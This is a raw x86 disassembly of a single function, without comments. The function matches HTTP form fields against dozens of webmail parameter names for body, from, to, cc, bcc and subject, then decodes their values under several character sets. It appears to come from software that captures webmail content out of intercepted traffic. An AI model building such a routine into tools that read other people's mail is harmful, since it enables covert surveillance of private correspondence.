call fcn.5900cf20
mov edi, eax
mov eax, dword [0x5914f850]
add esp, 0x18
mov dword [esp + 0x54], edi
mov dword [esp + 0x38], eax
mov byte [esp + 0x190], 0x1a
mov dword [esp + 0x6c], eax
mov byte [esp + 0x190], 0x1b
mov dword [esp + 0x28], eax
mov byte [esp + 0x190], 0x1c
mov dword [esp + 0x48], eax
mov byte [esp + 0x190], 0x1d
mov dword [esp + 0x40], eax
mov byte [esp + 0x190], 0x1e
mov dword [esp + 0x3c], eax
mov byte [esp + 0x190], 0x1f
mov dword [esp + 0x2c], eax
lea ecx, [esp + 0xb4]
mov byte [esp + 0x190], 0x20
call fcn.5909fd90
lea ecx, [esp + 0x148]
mov byte [esp + 0x190], 0x21
call fcn.5909fd90
lea ecx, [esp + 0x134]
mov byte [esp + 0x190], 0x22
call fcn.590a6450
xor eax, eax
mov byte [esp + 0x190], 0x23
cmp edi, eax
mov dword [esp + 0x110], eax
mov dword [esp + 0x80], eax
je 0x59019233
mov eax, dword [esp + 0x1c]
test eax, eax
je 0x59019233
mov eax, dword [0x5914f84c]
mov dword [esp + 0x10], eax
lea ecx, [esp + 0x10]
lea edx, [esp + 0x1c]
push ecx
push edx
push edi
mov byte [esp + 0x19c], 0x24
call fcn.5900f120
add esp, 0xc
test eax, eax
jne 0x59017679
mov edx, dword [esp + 0x70]
lea eax, [esp + 0x1c]
lea ecx, [esp + 0xb0]
push eax
push ecx
push edx
jmp 0x590176a7
mov eax, dword [esp + 0x1c]
push 0x59173d00
push eax
push edi
call fcn.5900f220
add esp, 0xc
cmp eax, 0xffffffff
mov dword [esp + 0x18], eax
jne 0x590176ce
mov eax, dword [esp + 0x70]
lea ecx, [esp + 0x1c]
lea edx, [esp + 0xb0]
push ecx
push edx
push eax
push esi
push ebx
push ebp
call fcn.5900cf20
mov edi, eax
add esp, 0x18
lea ecx, [esp + 0x10]
mov dword [esp + 0x54], edi
mov byte [esp + 0x190], 0x23
call fcn.59095090
jmp 0x5901922b
mov edi, 0x59173d00
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov edi, dword [esp + 0x18]
not ecx
dec ecx
add edi, ecx
mov ecx, dword [esp + 0x1c]
sub ecx, edi
mov dword [esp + 0x18], edi
test ecx, ecx
jg 0x59017728
mov ecx, dword [esp + 0x70]
lea edx, [esp + 0x1c]
lea eax, [esp + 0xb0]
push edx
push eax
push ecx
push esi
push ebx
push ebp
call fcn.5900cf20
add esp, 0x18
lea ecx, [esp + 0x10]
mov dword [esp + 0x54], eax
mov byte [esp + 0x190], 0x23
call fcn.59095090
jmp 0x59019227
mov eax, dword [esp + 0x30]
test eax, eax
je 0x59017763
mov edx, dword [esp + 0x10]
push str.MailOptions
push edx
call fcn.5907c906
add esp, 8
test eax, eax
jne 0x59017763
mov ebx, dword [esp + 0x54]
lea eax, [ebx + edi]
test eax, eax
je 0x59017767
cmp byte [eax], 0x30
jne 0x59017767
mov dword [esp + 0x80], 1
jmp 0x59017767
mov ebx, dword [esp + 0x54]
mov eax, dword [esp + 0x10]
push str.__Click
push eax
call fcn.5907c906
add esp, 8
test eax, eax
je 0x59017805
mov ecx, dword [esp + 0x10]
push str.SYSF_OriginalId
push ecx
call fcn.5907c906
add esp, 8
test eax, eax
je 0x59017805
mov edx, dword [esp + 0x10]
push str.chc_pversion
push edx
call fcn.5907c906
add esp, 8
test eax, eax
je 0x59017805
mov eax, dword [esp + 0x10]
push str.chc_sversion
push eax
call fcn.5907c906
add esp, 8
test eax, eax
je 0x59017805
mov ecx, dword [esp + 0x10]
push str.FMS_FORMPART_TICKET
push ecx
call fcn.5907c906
add esp, 8
test eax, eax
je 0x59017805
mov edx, dword [esp + 0x10]
push str.FMS_FORMPART_FILEDATA
push edx
call fcn.5907c906
add esp, 8
test eax, eax
je 0x59017805
mov eax, dword [esp + 0x10]
push str.F_ParentDocId
push eax
call fcn.5907c906
add esp, 8
test eax, eax
jne 0x5901780c
inc dword [esp + 0x110]
mov ecx, dword [esp + 0x10]
push 0x59174594
push ecx
call fcn.5907c906
add esp, 8
test eax, eax
jne 0x59017a4c
mov edx, dword [esp + 0x1c]
lea esi, [ebx + edi]
sub edx, edi
lea ecx, [esp + 0x88]
push edx
push esi
call fcn.59094b40
mov eax, dword [esp + 0xc4]
mov byte [esp + 0x190], 0x25
test eax, eax
mov eax, dword [esp + 0x88]
je 0x59017872
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x59017872
push 0x4e3
push eax
lea ecx, [esp + 0x40]
call fcn.5909e870
jmp 0x590179e7
mov ecx, dword [esp + 0x94]
test ecx, ecx
jne 0x59017898
mov eax, dword [esp + 0x1c]
sub eax, edi
push eax
push esi
call fcn.5900a4d0
add esp, 8
test eax, eax
mov eax, dword [esp + 0x88]
je 0x590178b3
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x590178b3
push 0xfde9
push eax
lea ecx, [esp + 0x40]
call fcn.5909e870
jmp 0x590179e7
mov ecx, dword [esp + 0x124]
test ecx, ecx
je 0x590178d9
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x590178d9
push 0xcaed
push eax
lea ecx, [esp + 0x40]
call fcn.5909e870
jmp 0x590179e7
cmp dword [esp + 0x11c], 0x3a8
jne 0x5901791c
mov ecx, dword [esp + 0x1c]
sub ecx, edi
push ecx
push esi
call fcn.5900a890
add esp, 8
test eax, eax
je 0x59017915
mov edx, dword [esp + 0x88]
push 0x3a8
push edx
lea ecx, [esp + 0x40]
call fcn.5909e870
jmp 0x590179e7
mov eax, dword [esp + 0x88]
mov ecx, dword [esp + 0xa8]
test ecx, ecx
jne 0x59017942
mov eax, dword [esp + 0x1c]
sub eax, edi
push eax
push esi
call fcn.5900a8f0
add esp, 8
test eax, eax
mov eax, dword [esp + 0x88]
je 0x5901795d
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x5901795d
push 0x2712
push eax
lea ecx, [esp + 0x40]
call fcn.5909e870
jmp 0x590179e7
mov ecx, dword [eax - 8]
push ecx
push eax
call fcn.5900a590
add esp, 8
test eax, eax
mov eax, dword [esp + 0x88]
je 0x590179dd
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x590179dd
push 1
push 0
push eax
call fcn.5900a6a0
mov ebx, eax
lea edi, [ebx + ebx + 4]
push edi
call fcn.5912c500
mov esi, eax
add esp, 0x10
test esi, esi
je 0x590179e7
mov ecx, edi
xor eax, eax
mov edx, ecx
mov edi, esi
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push 2
and ecx, 3
push esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x90]
push eax
call fcn.5900a6a0
add esp, 0xc
lea ecx, [esp + 0x38]
mov word [esi + ebx*2], 0
push esi
call fcn.5909a690
push esi
call fcn.5912c529
add esp, 4
jmp 0x590179e7
push eax
lea ecx, [esp + 0x3c]
call fcn.5909a770
mov eax, dword [esp + 0x38]
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x59017a30
lea ecx, [esp + 0x184]
push eax
push ecx
call fcn.5900b440
add esp, 8
lea edx, [esp + 0x184]
lea ecx, [esp + 0x6c]
push edx
mov byte [esp + 0x194], 0x26
call fcn.5909a5a0
lea ecx, [esp + 0x184]
mov byte [esp + 0x190], 0x25
call fcn.5909a410
lea ecx, [esp + 0x88]
mov byte [esp + 0x190], 0x24
call fcn.59095090
mov edi, dword [esp + 0x18]
mov ebx, dword [esp + 0x54]
mov eax, dword [esp + 0x10]
push 0x5917458c
push eax
call fcn.5907c906
add esp, 8
test eax, eax
je 0x59017c74
mov ecx, dword [esp + 0x10]
push 0x59174584
push ecx
call fcn.5907c906
add esp, 8
test eax, eax
je 0x59017c74
mov edx, dword [esp + 0x10]
push str.msgbody
push edx
call fcn.5907c906
add esp, 8
test eax, eax
je 0x59017c74
mov eax, dword [esp + 0x10]
push str.msgtxt
push eax
call fcn.5907c906
add esp, 8
test eax, eax
je 0x59017c74
mov ecx, dword [esp + 0x10]
push str.wbody
push ecx
call fcn.5907c906
add esp, 8
test eax, eax
je 0x59017c74
mov edx, dword [esp + 0x10]
push str.emailmessage
push edx
call fcn.5907c906
add esp, 8
test eax, eax
je 0x59017c74
mov eax, dword [esp + 0x10]
push 0x59174554
push eax
call fcn.5907c906
add esp, 8
test eax, eax
je 0x59017c74
mov ecx, dword [esp + 0x10]
push 0x59174550
push ecx
call fcn.5907c906
add esp, 8
test eax, eax
je 0x59017c74
mov edx, dword [esp + 0x10]
push str.MText
push edx
call fcn.5907c906
add esp, 8
test eax, eax
je 0x59017c74
mov eax, dword [esp + 0x10]
push str.F_body
push eax
call fcn.5907c906
add esp, 8
test eax, eax
je 0x59017c74
mov ecx, dword [esp + 0x10]
push str.text2
push ecx
call fcn.5907c906
add esp, 8
test eax, eax
je 0x59017c74
mov edx, dword [esp + 0x10]
push 0x5917452c
push edx
call fcn.5907c906
add esp, 8
test eax, eax
je 0x59017c74
mov eax, dword [esp + 0x10]
push str.mailText
push eax
call fcn.5907c906
add esp, 8
test eax, eax
je 0x59017c74
mov ecx, dword [esp + 0x10]
push 0x59174518
push ecx
call fcn.5907c906
add esp, 8
test eax, eax
je 0x59017c74
mov edx, dword [esp + 0x10]
push str.kerio_mailBody
push edx
call fcn.5907c906
add esp, 8
test eax, eax
je 0x59017c74
mov eax, dword [esp + 0x10]
push str.mail_body
push eax
call fcn.5907c906
add esp, 8
test eax, eax
je 0x59017c74
mov ecx, dword [esp + 0x10]
push str.mouldtext
push ecx
call fcn.5907c906
add esp, 8
test eax, eax
je 0x59017c74
mov edx, dword [esp + 0x10]
push str.ftxtcon
push edx
call fcn.5907c906
add esp, 8
test eax, eax
je 0x59017c74
mov eax, dword [esp + 0x10]
push 0x591744d8
push eax
call fcn.5907c906
add esp, 8
test eax, eax
je 0x59017c74
mov ecx, dword [esp + 0x10]
push str.textInner
push ecx
call fcn.5907c906
add esp, 8
test eax, eax
je 0x59017c74
mov edx, dword [esp + 0x10]
push str._message
push edx
call fcn.5907c906
add esp, 8
test eax, eax
je 0x59017c74
mov eax, dword [esp + 0x10]
push str.TD_HTML_EDITOR_CONTENT
push eax
call fcn.5907c906
add esp, 8
test eax, eax
jne 0x59017e85
mov ecx, dword [esp + 0x1c]
lea esi, [ebx + edi]
sub ecx, edi
push ecx
push esi
lea ecx, [esp + 0x80]
call fcn.59094b40
mov eax, dword [esp + 0xc4]
mov byte [esp + 0x190], 0x27
test eax, eax
mov eax, dword [esp + 0x78]
je 0x59017cbd
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x59017cbd
push 0x4e3
push eax
lea ecx, [esp + 0x30]
call fcn.5909e870
jmp 0x59017e23
mov ecx, dword [esp + 0x94]
test ecx, ecx
jne 0x59017ce0
mov edx, dword [esp + 0x1c]
sub edx, edi
push edx
push esi
call fcn.5900a4d0
add esp, 8
test eax, eax
mov eax, dword [esp + 0x78]
je 0x59017cfb
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x59017cfb
push 0xfde9
push eax
lea ecx, [esp + 0x30]
call fcn.5909e870
jmp 0x59017e23
mov ecx, dword [esp + 0x124]
test ecx, ecx
je 0x59017d21
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x59017d21
push 0xcaed
push eax
lea ecx, [esp + 0x30]
call fcn.5909e870
jmp 0x59017e23
cmp dword [esp + 0x11c], 0x3a8
jne 0x59017d5e
mov eax, dword [esp + 0x1c]
sub eax, edi
push eax
push esi
call fcn.5900a890
add esp, 8
test eax, eax
je 0x59017d5a
mov ecx, dword [esp + 0x78]
push 0x3a8
push ecx
lea ecx, [esp + 0x30]
call fcn.5909e870
jmp 0x59017e23
mov eax, dword [esp + 0x78]
mov ecx, dword [esp + 0xa8]
test ecx, ecx
jne 0x59017d81
mov edx, dword [esp + 0x1c]
sub edx, edi
push edx
push esi
call fcn.5900a8f0
add esp, 8
test eax, eax
mov eax, dword [esp + 0x78]
je 0x59017d9c
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x59017d9c
push 0x2712
push eax
lea ecx, [esp + 0x30]
call fcn.5909e870
jmp 0x59017e23
mov ecx, dword [eax - 8]
push ecx
push eax
call fcn.5900a590
add esp, 8
test eax, eax
mov eax, dword [esp + 0x78]
je 0x59017e19
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x59017e19
push 1
push 0
push eax
call fcn.5900a6a0
mov ebx, eax
lea edi, [ebx + ebx + 4]
push edi
call fcn.5912c500
mov esi, eax
add esp, 0x10
test esi, esi
je 0x59017e23
mov ecx, edi
xor eax, eax
mov edx, ecx
mov edi, esi
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push 2
and ecx, 3
push esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x80]
push eax
call fcn.5900a6a0
add esp, 0xc
lea ecx, [esp + 0x28]
mov word [esi + ebx*2], 0
push esi
call fcn.5909a690
push esi
call fcn.5912c529
add esp, 4
jmp 0x59017e23
push eax
lea ecx, [esp + 0x2c]
call fcn.5909a770
mov eax, dword [esp + 0x28]
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x59017e6c
lea ecx, [esp + 0x160]
push eax
push ecx
call fcn.5900b440
add esp, 8
lea edx, [esp + 0x160]
lea ecx, [esp + 0x28]
push edx
mov byte [esp + 0x194], 0x28
call fcn.5909a5a0
lea ecx, [esp + 0x160]
mov byte [esp + 0x190], 0x27
call fcn.5909a410
lea ecx, [esp + 0x78]
mov byte [esp + 0x190], 0x24
call fcn.59095090
mov edi, dword [esp + 0x18]
mov ebx, dword [esp + 0x54]
mov eax, dword [esp + 0x10]
push 0x591744a0
push eax
call fcn.5907c906
add esp, 8
test eax, eax
je 0x59017fdd
mov ecx, dword [esp + 0x10]
push str.emailfrom
push ecx
call fcn.5907c906
add esp, 8
test eax, eax
je 0x59017fdd
mov edx, dword [esp + 0x10]
push str.USERID
push edx
call fcn.5907c906
add esp, 8
test eax, eax
je 0x59017fdd
mov eax, dword [esp + 0x10]
push str.F_from
push eax
call fcn.5907c906
add esp, 8
test eax, eax
je 0x59017fdd
mov ecx, dword [esp + 0x10]
push str.sender
push ecx
call fcn.5907c906
add esp, 8
test eax, eax
je 0x59017fdd
mov edx, dword [esp + 0x10]
push str.Fromtext
push edx
call fcn.5907c906
add esp, 8
test eax, eax
je 0x59017fdd
mov eax, dword [esp + 0x10]
push str.sendfrom
push eax
call fcn.5907c906
add esp, 8
test eax, eax
je 0x59017fdd
mov ecx, dword [esp + 0x10]
push str.defFromAddress
push ecx
call fcn.5907c906
add esp, 8
test eax, eax
je 0x59017fdd
mov edx, dword [esp + 0x10]
push 0x5917444c
push edx
call fcn.5907c906
add esp, 8
test eax, eax
je 0x59017fdd
mov eax, dword [esp + 0x10]
push 0x59172f34
push eax
call fcn.5907c906
add esp, 8
test eax, eax
je 0x59017fdd
mov ecx, dword [esp + 0x10]
push 0x59174444
push ecx
call fcn.5907c906
add esp, 8
test eax, eax
je 0x59017fdd
mov edx, dword [esp + 0x10]
push str.kerio_mailFrom
push edx
call fcn.5907c906
add esp, 8
test eax, eax
je 0x59017fdd
mov eax, dword [esp + 0x10]
push 0x59174424
push eax
call fcn.5907c906
add esp, 8
test eax, eax
je 0x59017fdd
mov ecx, dword [esp + 0x10]
push str._from
push ecx
call fcn.5907c906
add esp, 8
test eax, eax
jne 0x590180aa
mov edx, dword [esp + 0x1c]
lea esi, [ebx + edi]
sub edx, edi
lea ecx, [esp + 0x12c]
push edx
push esi
call fcn.59094b40
mov ebp, dword [esp + 0x94]
mov byte [esp + 0x190], 0x29
test ebp, ebp
jne 0x5901801b
mov eax, dword [esp + 0x1c]
sub eax, edi
push eax
push esi
call fcn.5900a4d0
add esp, 8
test eax, eax
je 0x5901803a
mov eax, dword [esp + 0x12c]
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x59018041
push 0xfde9
push eax
lea ecx, [esp + 0x28]
call fcn.5909e870
jmp 0x5901804b
mov eax, dword [esp + 0x12c]
push eax
lea ecx, [esp + 0x24]
call fcn.5909a770
mov eax, dword [esp + 0x20]
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x59018094
lea ecx, [esp + 0x180]
push eax
push ecx
call fcn.5900b440
add esp, 8
lea edx, [esp + 0x180]
lea ecx, [esp + 0x20]
push edx
mov byte [esp + 0x194], 0x2a
call fcn.5909a5a0
lea ecx, [esp + 0x180]
mov byte [esp + 0x190], 0x29
call fcn.5909a410
lea ecx, [esp + 0x12c]
mov byte [esp + 0x190], 0x24
call fcn.59095090
jmp 0x590180b1
mov ebp, dword [esp + 0x94]
mov eax, dword [esp + 0x10]
push 0x59174418
push eax
call fcn.5907c906
add esp, 8
test eax, eax
je 0x5901823d
mov ecx, dword [esp + 0x10]
push str.rcpt
push ecx
call fcn.5907c906
add esp, 8
test eax, eax
je 0x5901823d
mov edx, dword [esp + 0x10]
push str.sendto
push edx
call fcn.5907c906
add esp, 8
test eax, eax
je 0x5901823d
mov eax, dword [esp + 0x10]
push str.emailto
push eax
call fcn.5907c906
add esp, 8
test eax, eax
je 0x5901823d
mov ecx, dword [esp + 0x10]
push 0x591743fc
push ecx
call fcn.5907c906
add esp, 8
test eax, eax
je 0x5901823d
mov edx, dword [esp + 0x10]
push 0x591743f8
push edx
call fcn.5907c906
add esp, 8
test eax, eax
je 0x5901823d
mov eax, dword [esp + 0x10]
push str.F_to
push eax
call fcn.5907c906
add esp, 8
test eax, eax
je 0x5901823d
mov ecx, dword [esp + 0x10]
push str.MailTo
push ecx
call fcn.5907c906
add esp, 8
test eax, eax
je 0x5901823d
mov edx, dword [esp + 0x10]
push str.recieved
push edx
call fcn.5907c906
add esp, 8
test eax, eax
je 0x5901823d
mov eax, dword [esp + 0x10]
push 0x591743d8
push eax
call fcn.5907c906
add esp, 8
test eax, eax
je 0x5901823d
mov ecx, dword [esp + 0x10]
push str.kerio_mailTo
push ecx
call fcn.5907c906
add esp, 8
test eax, eax
je 0x5901823d
mov edx, dword [esp + 0x10]
push str.receiver
push edx
call fcn.5907c906
add esp, 8
test eax, eax
je 0x5901823d
mov eax, dword [esp + 0x10]
push str.textbox_addressee
push eax
call fcn.5907c906
add esp, 8
test eax, eax
je 0x5901823d
mov ecx, dword [esp + 0x10]
push 0x591743b8
push ecx
call fcn.5907c906
add esp, 8
test eax, eax
je 0x5901823d
mov edx, dword [esp + 0x10]
push 0x591743b4
push edx
call fcn.5907c906
add esp, 8
test eax, eax
je 0x5901823d
mov eax, dword [esp + 0x10]
push str.TO_ID
push eax
call fcn.5907c906
add esp, 8
test eax, eax
jne 0x59018301
mov ecx, dword [esp + 0x1c]
lea esi, [ebx + edi]
sub ecx, edi
push ecx
push esi
lea ecx, [esp + 0x128]
call fcn.59094b40
test ebp, ebp
mov byte [esp + 0x190], 0x2b
jne 0x59018274
mov edx, dword [esp + 0x1c]
sub edx, edi
push edx
push esi
call fcn.5900a4d0
add esp, 8
test eax, eax
je 0x59018293
mov eax, dword [esp + 0x120]
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x5901829a
push 0xfde9
push eax
lea ecx, [esp + 0x50]
call fcn.5909e870
jmp 0x590182a4
mov eax, dword [esp + 0x120]
push eax
lea ecx, [esp + 0x4c]
call fcn.5909a770
mov eax, dword [esp + 0x48]
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x590182ed
push eax
lea eax, [esp + 0x16c]
push eax
call fcn.5900b440
add esp, 8
lea ecx, [esp + 0x168]
mov byte [esp + 0x190], 0x2c
push ecx
lea ecx, [esp + 0x4c]
call fcn.5909a5a0
lea ecx, [esp + 0x168]
mov byte [esp + 0x190], 0x2b
call fcn.5909a410
lea ecx, [esp + 0x120]
mov byte [esp + 0x190], 0x24
call fcn.59095090
mov edx, dword [esp + 0x10]
push 0x591743a8
push edx
call fcn.5907c906
add esp, 8
test eax, eax
je 0x5901843f
mov eax, dword [esp + 0x10]
push str.copyto
push eax
call fcn.5907c906
add esp, 8
test eax, eax
je 0x5901843f
mov ecx, dword [esp + 0x10]
push str.emailcc
push ecx
call fcn.5907c906
add esp, 8
test eax, eax
je 0x5901843f
mov edx, dword [esp + 0x10]
push 0x59174394
push edx
call fcn.5907c906
add esp, 8
test eax, eax
je 0x5901843f
mov eax, dword [esp + 0x10]
push str.F_cc
push eax
call fcn.5907c906
add esp, 8
test eax, eax
je 0x5901843f
mov ecx, dword [esp + 0x10]
push str.MailCc
push ecx
call fcn.5907c906
add esp, 8
test eax, eax
je 0x5901843f
mov edx, dword [esp + 0x10]
push str.ccto
push edx
call fcn.5907c906
add esp, 8
test eax, eax
je 0x5901843f
mov eax, dword [esp + 0x10]
push 0x59174378
push eax
call fcn.5907c906
add esp, 8
test eax, eax
je 0x5901843f
mov ecx, dword [esp + 0x10]
push str.kerio_mailCc
push ecx
call fcn.5907c906
add esp, 8
test eax, eax
je 0x5901843f
mov edx, dword [esp + 0x10]
push str.receivercc
push edx
call fcn.5907c906
add esp, 8
test eax, eax
je 0x5901843f
mov eax, dword [esp + 0x10]
push str.textbox_copy
push eax
call fcn.5907c906
add esp, 8
test eax, eax
je 0x5901843f
mov ecx, dword [esp + 0x10]
push 0x59174348
push ecx
call fcn.5907c906
add esp, 8
test eax, eax
je 0x5901843f
mov edx, dword [esp + 0x10]
push str.COPY_TO_ID
push edx
call fcn.5907c906
add esp, 8
test eax, eax
jne 0x59018503
mov eax, dword [esp + 0x1c]
lea esi, [ebx + edi]
sub eax, edi
lea ecx, [esp + 0x130]
push eax
push esi
call fcn.59094b40
test ebp, ebp
mov byte [esp + 0x190], 0x2d
jne 0x59018476
mov ecx, dword [esp + 0x1c]
sub ecx, edi
push ecx
push esi
call fcn.5900a4d0
add esp, 8
test eax, eax
je 0x59018495
mov eax, dword [esp + 0x130]
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x5901849c
push 0xfde9
push eax
lea ecx, [esp + 0x48]
call fcn.5909e870
jmp 0x590184a6
mov eax, dword [esp + 0x130]
push eax
lea ecx, [esp + 0x44]
call fcn.5909a770
mov eax, dword [esp + 0x40]
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x590184ef
lea edx, [esp + 0x178]
push eax
push edx
call fcn.5900b440
add esp, 8
lea eax, [esp + 0x178]
lea ecx, [esp + 0x40]
push eax
mov byte [esp + 0x194], 0x2e
call fcn.5909a5a0
lea ecx, [esp + 0x178]
mov byte [esp + 0x190], 0x2d
call fcn.5909a410
lea ecx, [esp + 0x130]
mov byte [esp + 0x190], 0x24
call fcn.59095090
mov ecx, dword [esp + 0x10]
push 0x59174338
push ecx
call fcn.5907c906
add esp, 8
test eax, eax
je 0x59018641
mov edx, dword [esp + 0x10]
push str.blindcopyto
push edx
call fcn.5907c906
add esp, 8
test eax, eax
je 0x59018641
mov eax, dword [esp + 0x10]
push str.emailbcc
push eax
call fcn.5907c906
add esp, 8
test eax, eax
je 0x59018641
mov ecx, dword [esp + 0x10]
push str.MBCC
push ecx
call fcn.5907c906
add esp, 8
test eax, eax
je 0x59018641
mov edx, dword [esp + 0x10]
push str.F_bcc
push edx
call fcn.5907c906
add esp, 8
test eax, eax
je 0x59018641
mov eax, dword [esp + 0x10]
push str.MailBcc
push eax
call fcn.5907c906
add esp, 8
test eax, eax
je 0x59018641
mov ecx, dword [esp + 0x10]
push str.bcto
push ecx
call fcn.5907c906
add esp, 8
test eax, eax
je 0x59018641
mov edx, dword [esp + 0x10]
push str.bccx
push edx
call fcn.5907c906
add esp, 8
test eax, eax
je 0x59018641
mov eax, dword [esp + 0x10]
push str.kerio_mailBcc
push eax
call fcn.5907c906
add esp, 8
test eax, eax
je 0x59018641
mov ecx, dword [esp + 0x10]
push str.receiverBcc
push ecx
call fcn.5907c906
add esp, 8
test eax, eax
je 0x59018641
mov edx, dword [esp + 0x10]
push str.textbox_secret
push edx
call fcn.5907c906
add esp, 8
test eax, eax
je 0x59018641
mov eax, dword [esp + 0x10]
push str._bcc
push eax
call fcn.5907c906
add esp, 8
test eax, eax
je 0x59018641
mov ecx, dword [esp + 0x10]
push str.SECRET_TO_ID
push ecx
call fcn.5907c906
add esp, 8
test eax, eax
jne 0x590186f9
mov edx, dword [esp + 0x1c]
lea esi, [ebx + edi]
sub edx, edi
lea ecx, [esp + 0x68]
push edx
push esi
call fcn.59094b40
test ebp, ebp
mov byte [esp + 0x190], 0x2f
jne 0x59018675
mov eax, dword [esp + 0x1c]
sub eax, edi
push eax
push esi
call fcn.5900a4d0
add esp, 8
test eax, eax
je 0x59018691
mov eax, dword [esp + 0x68]
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x59018695
push 0xfde9
push eax
lea ecx, [esp + 0x44]
call fcn.5909e870
jmp 0x5901869f
mov eax, dword [esp + 0x68]
push eax
lea ecx, [esp + 0x40]
call fcn.5909a770
mov eax, dword [esp + 0x3c]
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x590186e8
lea ecx, [esp + 0x170]
push eax
push ecx
call fcn.5900b440
add esp, 8
lea edx, [esp + 0x170]
lea ecx, [esp + 0x3c]
push edx
mov byte [esp + 0x194], 0x30
call fcn.5909a5a0
lea ecx, [esp + 0x170]
mov byte [esp + 0x190], 0x2f
call fcn.5909a410
lea ecx, [esp + 0x68]
mov byte [esp + 0x190], 0x24
call fcn.59095090
mov eax, dword [esp + 0x10]
push 0x591742ac
push eax
call fcn.5907c906
add esp, 8
test eax, eax
je 0x59018837
mov ecx, dword [esp + 0x10]
push str.websubject
push ecx
call fcn.5907c906
add esp, 8
test eax, eax
je 0x59018837
mov edx, dword [esp + 0x10]
push str.emailsubject
push edx
call fcn.5907c906
add esp, 8
test eax, eax
je 0x59018837
mov eax, dword [esp + 0x10]
push 0x5917428c
push eax
call fcn.5907c906
add esp, 8
test eax, eax
je 0x59018837
mov ecx, dword [esp + 0x10]
push str.MSubject
push ecx
call fcn.5907c906
add esp, 8
test eax, eax
je 0x59018837
mov edx, dword [esp + 0x10]
push str.MailSubject
push edx
call fcn.5907c906
add esp, 8
test eax, eax
je 0x59018837
mov eax, dword [esp + 0x10]
push str.F_subj
push eax
call fcn.5907c906
add esp, 8
test eax, eax
je 0x59018837
mov ecx, dword [esp + 0x10]
push str.mailSubject
push ecx
call fcn.5907c906
add esp, 8
test eax, eax
je 0x59018837
mov edx, dword [esp + 0x10]
push str.subj
push edx
call fcn.5907c906
add esp, 8
test eax, eax
je 0x59018837
mov eax, dword [esp + 0x10]
push str.kerio_mailSubject
push eax
call fcn.5907c906
add esp, 8
test eax, eax
je 0x59018837
mov ecx, dword [esp + 0x10]
push str.textbox_subject
push ecx
call fcn.5907c906
add esp, 8
test eax, eax
je 0x59018837
mov edx, dword [esp + 0x10]
push str._subject
push edx
call fcn.5907c906
add esp, 8
test eax, eax
je 0x59018837
mov eax, dword [esp + 0x10]
push str.SUBJECT
push eax
call fcn.5907c906
add esp, 8
test eax, eax
jne 0x59018a30
mov ecx, dword [esp + 0x1c]
lea esi, [ebx + edi]
sub ecx, edi
push ecx
push esi
lea ecx, [esp + 0x8c]
call fcn.59094b40
mov eax, dword [esp + 0xc4]
mov byte [esp + 0x190], 0x31
test eax, eax
mov eax, dword [esp + 0x84]
je 0x59018883
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x59018883
push 0x4e3
push eax
lea ecx, [esp + 0x34]
call fcn.5909e870
jmp 0x590189cb
test ebp, ebp
jne 0x590188a2
mov edx, dword [esp + 0x1c]
sub edx, edi
push edx
push esi
call fcn.5900a4d0
add esp, 8
test eax, eax
mov eax, dword [esp + 0x84]
je 0x590188bd
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x590188bd
push 0xfde9
push eax
lea ecx, [esp + 0x34]
call fcn.5909e870
jmp 0x590189cb
cmp dword [esp + 0x11c], 0x3a8
jne 0x59018900
mov eax, dword [esp + 0x1c]
sub eax, edi
push eax
push esi
call fcn.5900a890
add esp, 8
test eax, eax
je 0x590188f9
mov ecx, dword [esp + 0x84]
push 0x3a8
push ecx
lea ecx, [esp + 0x34]
call fcn.5909e870
jmp 0x590189cb
mov eax, dword [esp + 0x84]
mov ecx, dword [esp + 0xa8]
test ecx, ecx
jne 0x59018926
mov edx, dword [esp + 0x1c]
sub edx, edi
push edx
push esi
call fcn.5900a8f0
add esp, 8
test eax, eax
mov eax, dword [esp + 0x84]
je 0x59018941
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x59018941
push 0x2712
push eax
lea ecx, [esp + 0x34]
call fcn.5909e870
jmp 0x590189cb
mov ecx, dword [eax - 8]
push ecx
push eax
call fcn.5900a590
add esp, 8
test eax, eax
mov eax, dword [esp + 0x84]
je 0x590189c1
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x590189c1
push 1
push 0
push eax
call fcn.5900a6a0
mov ebx, eax
lea edi, [ebx + ebx + 4]
push edi
call fcn.5912c500
mov esi, eax
add esp, 0x10
test esi, esi
je 0x590189cb
mov ecx, edi
xor eax, eax
mov edx, ecx
mov edi, esi
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push 2
and ecx, 3
push esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x8c]
push eax
call fcn.5900a6a0
add esp, 0xc
lea ecx, [esp + 0x2c]
mov word [esi + ebx*2], 0
push esi
call fcn.5909a690
push esi
call fcn.5912c529
add esp, 4
jmp 0x590189cb
push eax
lea ecx, [esp + 0x30]
call fcn.5909a770
mov eax, dword [esp + 0x2c]
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x59018a14
lea ecx, [esp + 0x15c]
push eax
push ecx
call fcn.5900b440
add esp, 8
lea edx, [esp + 0x15c]
lea ecx, [esp + 0x2c]
push edx
mov byte [esp + 0x194], 0x32
call fcn.5909a5a0
lea ecx, [esp + 0x15c]
